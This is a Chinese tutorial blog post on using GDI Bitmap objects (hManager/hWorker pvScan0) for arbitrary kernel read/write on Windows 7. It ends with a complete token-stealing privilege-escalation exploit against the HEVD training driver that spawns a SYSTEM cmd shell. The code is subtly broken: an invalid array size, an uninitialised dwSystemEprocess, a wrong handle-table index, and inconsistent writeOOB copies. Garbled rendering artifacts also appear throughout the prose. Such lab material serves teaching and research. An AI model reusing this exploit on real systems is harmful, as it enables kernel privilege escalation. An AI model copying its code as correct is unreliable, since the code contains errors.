当前位置:   article > 正文

Bitmap在Win7内核漏洞中的利用_getbitmapbits

getbitmapbits

0x0 Bitmap的利用

1.简介

Bitmap是与Windows位图相关的一个数据结构,可使用 C r e a t e B i t m a p \textcolor{cornflowerblue}{CreateBitmap} CreateBitmap函数创建一个位图。

HBITMAP CreateBitmap(
 int        nWidth,
 int        nHeight,
 UINT       nPlanes,
 UINT       nBitCount,
 const VOID *lpBits
);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
nWidth
  • 1

位图宽度,以像素为单位。

nHeight
  • 1

位图高度,以像素为单位。

nPlanes
  • 1

设备使用的颜色平面的数量。

nBitCount
  • 1

识别单个像素颜色所需的位数。

lpBits
  • 1

指向用于在像素矩形中设置颜色的颜色数据数组的指针。矩形中的每条扫描线都必须是字对齐的(非字对齐的扫描线必须用零填充)。如果此参数为NULL,则新位图的内容未定义。

如果函数成功,则返回值是位图的句柄。

如果函数失败,则返回值为NULL

该函数可以返回以下值。

返回码描述
ERROR_INVALID_BITMAP位图的计算大小小于零。

根据nWidthnHeight的数值,创建出来的位图大小也会有相应的变化,具体和漏洞利用有什么关系,后面会解释。

这里引用一张网上与GDI有关的结构图:
在这里插入图片描述

包括两个结构,一个是BASEOBJECT

在这里插入图片描述

这个结构体的成员不需要了解,只需要记住该结构的总大小

  • x320x10
  • 0x640x18

另一个是SURFACE_OBJECT

typedef struct _SURFOBJ {
  DHSURF dhsurf;
  HSURF  hsurf;
  DHPDEV dhpdev;
  HDEV   hdev;
  SIZEL  sizlBitmap;
  ULONG  cjBits;
  PVOID  pvBits;
  PVOID  pvScan0;
  LONG   lDelta;
  ULONG  iUniq;
  ULONG  iBitmapFormat;
  USHORT iType;
  USHORT fjBitmap;
} SURFOBJ;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

重点关注的是pvScan0这个成员。pvScan0指向Pixel Data数据区,Pixel Data可由 S e t B i t m a p B i t s \textcolor{cornflowerblue}{SetBitmapBits} SetBitmapBits G e t B i t m a p B i t s \textcolor{cornflowerblue}{GetBitmapBits} GetBitmapBits控制。

LONG GetBitmapBits(  HBITMAP hbmp,      // handle to bitmap
  LONG cbBuffer,     // number of bytes to copy
  LPVOID lpvBits     // buffer to receive bits);
  • 1
  • 2
  • 3
hbit
  • 1

设备相关位图的句柄。

cb
  • 1

要从位图复制到缓冲区的字节数。

lpvBits
  • 1

指向接收位图位的缓冲区的指针。这些位存储为字节值数组。

如果函数成功,则返回值是复制到缓冲区的字节数。

如果函数失败,则返回值为零。

2.利用原理

SURFOBJ结构是处于内核中的,且其中的pvScan0指向的区域可由上面提到的两个函数进行控制,这就说明我们可以在用户层下直接读写内核数据!只要我们想办法控制pvScan0,就获得了内核任意地址读写的能力!而pvScan0 C r e a t e B i t m a p \textcolor{cornflowerblue}{CreateBitmap} CreateBitmap函数的第五个参数lpBits是对应的。举例,我随便找出一块有意义的内核地址,但是当做出如下调用用时是失败的

 HBITMAP hb = CreateBitmap(60, 60, 1, 8,&buf);
  • 1

也就是说尽管pvScan0lpBits有关,但在用户态下是没办法直接修改pvScan0的,此时就要求有个内核任意地址写的漏洞。

为了利用内核任意地址写的漏洞修改pvScan0,首先还需要获取pvScan0的地址。此时,fs寄存器发挥关键作用。fs寄存器在用户态下指向线程环境块(teb),在内核态下指向pcr。用户态下可使用 N t C u r r e n t T e b \textcolor{cornflowerblue}{NtCurrentTeb} NtCurrentTeb来获取tebteb中的ProcessEnvironmentBlock指向线程所在进程的peb p e b + 0 x 94 \textcolor{orange}{peb+0x94} peb+0x94的位置保存着GDICELL结构体数组指针GdiSharedHandleTableAddr。通过 C r e a t e B i t m a p \textcolor{cornflowerblue}{CreateBitmap} CreateBitmap返回的hbitmap可以计算出该bitmapGdiSharedHandleTableAddr中的索引,计算方式:

DWORD32 GdiCell = GdiSharedHandleTableAddr + ((DWORD32) handle & 0xffff) * (x86:0x10,x64:0x18);
  • 1
/// 32bit size: 0x10
/// 0x40bit size: 0x18
typedef struct _GDI_CELL
{
    PVOID pKernelAddress;
    UInt16 wProcessId;
    UInt16 wCount;
    UInt16 wUpper;
    UInt16 wType;
    PVOID pUserAddress;
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • KernelAddress 指向了 BASEOBJECT 起始位置,所以
PVOID pvScan0=(PVOID)(*(PDWORD32)pKernelAddress + (x86:0x10,x64:0x18) + (x86:0x20,x64:0x38))
  • 1

在实际漏洞利用过程中,通常创建两个Bitmap,一个叫做hManager,另一个叫做hWorker。利用内核任意地址写漏洞修改hManagerpvScan0指向hWorkerpvScan0hManager主要用来控制我们要读写的地址,hWorker是实际的读写。利用 G e t B i t m a p B i t s \textcolor{cornflowerblue}{GetBitmapBits} GetBitmapBits读取SystemToken,再用 S e t B i t m a p B i t s \textcolor{cornflowerblue}{SetBitmapBits} SetBitmapBits覆盖当前进程的Token实现提权。

总的来说Bitmap的利用步骤比起Event对象的利用的多得多,到这里不免会有人有疑问,既然内核任意地址写的漏洞能通过改写Event对象也同样达成利用,何必还要多此一举?要知道,在Windows7以后的系统都不能在用户态下分配0页地址,所以Event对象利用会失效,但是Bitmap依然可以,BitmappvScan0的获取在高版本系统也有所改变。

为了方便以后使用Bitmap,这里封装了两个函数

VOID readOOB(HBITMAP hManager, HBITMAP hWorker, DWORD whereWrite, LPVOID whatWrite, int len)
{
	SetBitmapBits(hManager, len, &whereWrite); // set 写的是 hWorker 的 pvScan0 的值
											   // 通过控制 hWorker 的 pvScan0 的值来决定对哪块地址进行读写
	GetBitmapBits(hWorker, len, whatWrite);
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
VOID writeOOB(HBITMAP hManager, HBITMAP hWorker, DWORD whereWrite, LPVOID whatWrite, int len)
{
	SetBitmapBits(hManager, len, &whereWrite);
	SetBitmapBits(hWorker, len, whatWrite);
}
  • 1
  • 2
  • 3
  • 4
  • 5

3.实战

[环境]:Win7 x32_sp1

依然使用HEVD的任意地址写漏洞作为例子,因为之前已经做了分析,这里就直接给出EXP了,后续会对EXP里面出现的新部分进行解释。

#include<stdio.h>
#include<stdlib.h>
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<wingdi.h>
#include<psapi.h>

#define SymLinkName "\\\\.\\HacksysExtremeVulnerableDriver"
HANDLE g_hDev = INVALID_HANDLE_VALUE;
CHAR g_szDriverName[256] = { 0 };

typedef struct _WWW {
	PULONG_PTR What;
	PULONG_PTR Where;
}WWW, * PWWW;

BOOL GetDevHandle() {
	//打开驱动符号链接
	g_hDev = CreateFileA(
		SymLinkName,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL
	);
	return g_hDev != INVALID_HANDLE_VALUE;
}

VOID readOOB(HBITMAP hManager, HBITMAP hWorker, DWORD whereWrite, LPVOID whatWrite, int len)
{
	SetBitmapBits(hManager, len, &whereWrite); // set 写的是 hWorker 的 pvScan0 的值
											   // 通过控制 hWorker 的 pvScan0 的值来决定对哪块地址进行读写
	GetBitmapBits(hWorker, len, whatWrite);
}

VOID writeOOB(HBITMAP hManager, HBITMAP hWorker, DWORD whereWrite, LPVOID whatWrite, int len)
{
	SetBitmapBits(hManager, len, &whereWrite);
	SetBitmapBits(hWorker, len, &whatWrite);
}
//获取pvScan0地址
DWORD GetPvScan0(HBITMAP hBp) {
	DWORD dwCurrTeb=(DWORD)NtCurrentTeb();
	printf("[Info]dwCurrTeb=0x%x\n", dwCurrTeb);
	DWORD dwCurrPeb = *(PDWORD)((PUCHAR)dwCurrTeb + 0x30);
	DWORD dwGdiSharedHandleTableAddr = *(PDWORD)((PUCHAR)dwCurrPeb + 0x94);
	printf("[Info]dwGdiSharedHandleTableAddr=0x%x\n", dwGdiSharedHandleTableAddr);
	DWORD dwKernelAddress = *(PDWORD)(dwGdiSharedHandleTableAddr + ((DWORD)hBp & 0xffff));
	printf("[Info]dwKernelAddress=0x%x\n", dwKernelAddress);
	return dwKernelAddress + 0x10 + 0x20;
}
//获取内核基址
DWORD GetKernelBase() {
	PVOID DriverBase[100x18] = { 0 };
	DWORD dwCbNeed;
	CHAR szDeviceName[256] = { 0 };

	if (!EnumDeviceDrivers(DriverBase,sizeof(DriverBase), &dwCbNeed)) {
		printf("[Error]%s:%d\n", __FUNCTION__, __LINE__);
		exit(1);
	}
	for (int i = 0; i < dwCbNeed/sizeof(PVOID); i++) {
		if (!GetDeviceDriverBaseNameA(DriverBase[i], szDeviceName, sizeof(szDeviceName))) {
			printf("[Error]%s:%d\n", __FUNCTION__, __LINE__);
			exit(1);
		}
		//转小写
		PCHAR szName = _strlwr(szDeviceName);
		if (!strncmp(szName, "nt",2)) {
			memcpy(g_szDriverName, szName, sizeof(szDeviceName));
			return (DWORD)DriverBase[i];
		}
	}
	return 0;
}

DWORD GetEprocessAddrInKernelSpace(PCHAR szDriverName) {
	DWORD dwKernelBase = GetKernelBase();
	//在用户空间下加载内核模块,就得到内核模块在用户空间下的基址
	DWORD dwUserBase = (DWORD)LoadLibraryA(szDriverName);
	printf("[Info]dwKernelBase=0x%x, dwUserBase=0x%x\n", dwKernelBase, dwUserBase);
	if (!dwKernelBase || !dwUserBase) {
		printf("[Error]%s:%d\n", __FUNCTION__, __LINE__);
		exit(1);
	}
	DWORD dwPsInitialSystemProcessInUserSpace =
		(DWORD)GetProcAddress((HMODULE)dwUserBase, "PsInitialSystemProcess");//(1)
	return dwKernelBase + (dwPsInitialSystemProcessInUserSpace - dwUserBase);
}

VOID Exploit(){
	HBITMAP hManager = CreateBitmap(32, 32, 1, 8, NULL);
	HBITMAP hWorker = CreateBitmap(32, 32, 1, 8, NULL);
	printf("[Info]hManager=0x%x, hWorker=0x%x\n", hManager, hWorker);

	if (!hManager || !hWorker) {
		printf("[Error]%s:%d\n", __FUNCTION__, __LINE__);
		exit(1);
	}

	DWORD dwManagerPvScan0 = GetPvScan0(hManager);
	DWORD dwWorkerPvScan0 = GetPvScan0(hWorker);
	printf("[Info]dwManagerPvScan0=0x%x, dwWorkerPvScan0=0x%x\n", dwManagerPvScan0, dwWorkerPvScan0);
	printf("[Info]Modify...\n");
	PWWW www = (PWWW)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WWW));
	www->What = (PULONG_PTR)&dwWorkerPvScan0;
	www->Where = (PULONG_PTR)dwManagerPvScan0;

	printf("[Info]dwManagerPvScan0=0x%x, dwWorkerPvScan0=0x%x\n", dwManagerPvScan0, dwWorkerPvScan0);
	if (!GetDevHandle()) {
		printf("[Error]%s:%d\n", __FUNCTION__, __LINE__);
		exit(1);
	}
	DWORD dwRetSize;
	if (!DeviceIoControl(g_hDev, 0x22200B, www, sizeof(WWW), NULL, 0, &dwRetSize, NULL)) {
		printf("[Error]%s:%d\n", __FUNCTION__, __LINE__);
		exit(1);
	}
	
	DWORD dwSystemEprocess = 0;
	LPVOID lpSystemToken = NULL;
	//读取System进程的EPROCESS
	readOOB(hManager, hWorker, GetEprocessAddrInKernelSpace(g_szDriverName), &lpSystemToken, sizeof(DWORD));
	//读取System进程的TOKEN
	readOOB(hManager, hWorker, dwSystemEprocess + 0xf8, &lpSystemToken, sizeof(DWORD));
	// _eprocess + 0x0f8 是 token
	// _eprocess + 0x0B8 是 ActiveProcessLinks.Flink
	// _eprocess + 0x0b4 是 processid
	// 获取当前进程的 _eprocess
	LIST_ENTRY listNextEprocEntry = { 0 };
	DWORD dwNextEprocAddr = 0;
	DWORD dwCurrPid = GetCurrentProcessId();
	DWORD dwPid = 0;
	//获取下一个EPROCESS
	readOOB(hManager, hWorker, dwSystemEprocess + 0xB8, &listNextEprocEntry, sizeof(LIST_ENTRY));
	do {
		dwNextEprocAddr = (DWORD)((PUCHAR)listNextEprocEntry.Flink - 0xB8);
		//读取当前EPROCESS下的pid
		readOOB(hManager, hWorker, dwNextEprocAddr + 0xB4, &dwPid, sizeof(DWORD));
		//获取下一个EPROCESS
		readOOB(hManager, hWorker, dwNextEprocAddr + 0xB8, &listNextEprocEntry, sizeof(DWORD));
	} while (LOWORD(dwPid)!=dwCurrPid);
	DWORD dwCurTokenAddr = (DWORD)dwNextEprocAddr + 0xF8;
	//修改当前进程的TOKEN
	writeOOB(hManager, hWorker, dwCurTokenAddr, lpSystemToken, sizeof(LIST_ENTRY));
	//getshell
	system("cmd");

}

int main() {
	Exploit();
	return 0;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122
  • 123
  • 124
  • 125
  • 126
  • 127
  • 128
  • 129
  • 130
  • 131
  • 132
  • 133
  • 134
  • 135
  • 136
  • 137
  • 138
  • 139
  • 140
  • 141
  • 142
  • 143
  • 144
  • 145
  • 146
  • 147
  • 148
  • 149
  • 150
  • 151
  • 152
  • 153
  • 154
  • 155
  • 156
  • 157

该利用方式在64位下,只要修改其中涉及到的相关结构体的偏移同样能够成功。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小蓝xlanll/article/detail/544491
推荐阅读
相关标签
  

闽ICP备14008679号